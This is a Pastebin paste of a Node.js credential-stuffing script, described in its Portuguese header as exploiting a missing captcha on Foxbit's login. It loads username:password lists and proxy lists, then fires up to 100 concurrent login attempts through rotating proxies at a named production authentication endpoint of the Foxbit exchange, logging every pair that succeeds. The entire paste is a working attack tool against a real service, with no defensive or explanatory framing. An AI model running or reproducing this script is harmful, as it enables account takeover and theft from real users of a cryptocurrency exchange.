Advertisement
Guest User

Untitled

a guest
Apr 20th, 2019
389
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.81 KB | None | 0 0
  1. /*
  2. * Falha Foxbit
  3. * Login sem captcha c/ brute force
  4. */
  5. var RequestLib = require("request");
  6.  
  7.  
  8. var fs = require('fs')
  9.  
  10. var LineByLineReader = require('line-by-line'),
  11. lr = new LineByLineReader('proxy.txt');
  12.  
  13. var lines = fs.readFileSync('pass.txt').toString().split('\n');
  14. var linesProxy = fs.readFileSync('proxy.txt').toString().split('\n');
  15. var leet = 0
  16. var leetProxy = 0
  17. global.users = []
  18. global.passwords = []
  19. global.proxys = []
  20.  
  21. for (var i in linesProxy) {
  22. global.proxys[leetProxy] = linesProxy[i].trim()
  23. leetProxy++
  24. }
  25.  
  26. for (var i in lines) {
  27. if (lines[i].split(':')[0]) {
  28. global.users[leet] = lines[i].split(':')[0].trim()
  29. global.passwords[leet] = lines[i].split(':')[1].trim()
  30. leet++
  31. }
  32. }
  33.  
  34.  
  35. process.on('uncaughtException', function (err) {
  36. console.error(err.stack);
  37. console.log("Node NOT Exiting...");
  38. })
  39.  
  40. global.Threads = 0
  41. global.MaxThreads = 100
  42.  
  43. setInterval(function() {
  44. if (global.Threads <= global.MaxThreads) {
  45.  
  46. var randomUser = Math.floor(Math.random()*global.users.length);
  47.  
  48. var userLogin = global.users[randomUser].replace('@', '%40');
  49.  
  50. var userPass = global.passwords[randomUser];
  51.  
  52.  
  53. global.Threads++
  54.  
  55. var authenticateUrlSulfix = "@apifoxbitprodlb.alphapoint.com:8443/AP/authenticate";
  56.  
  57. var proxyUrl = 'http://' + global.proxys[Math.floor(Math.random()*global.proxys.length)];
  58.  
  59. var Request = RequestLib.defaults({'proxy': proxyUrl})
  60.  
  61.  
  62. Request.post({
  63. "timeout": 15000,
  64. "headers": {
  65. "content-type": "application/json"
  66. },
  67. "url": "https://" + userLogin + ":" + userPass + authenticateUrlSulfix
  68. }, (error, res, body) => {
  69. global.Threads--
  70. if (!error) {
  71. var got = JSON.parse(body)
  72.  
  73. if(got.Authenticated) {
  74. console.log('CORRECT ' , proxyUrl, userLogin, userPass)
  75. }
  76.  
  77. }
  78. })
  79. }
  80.  
  81. }, 1000)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement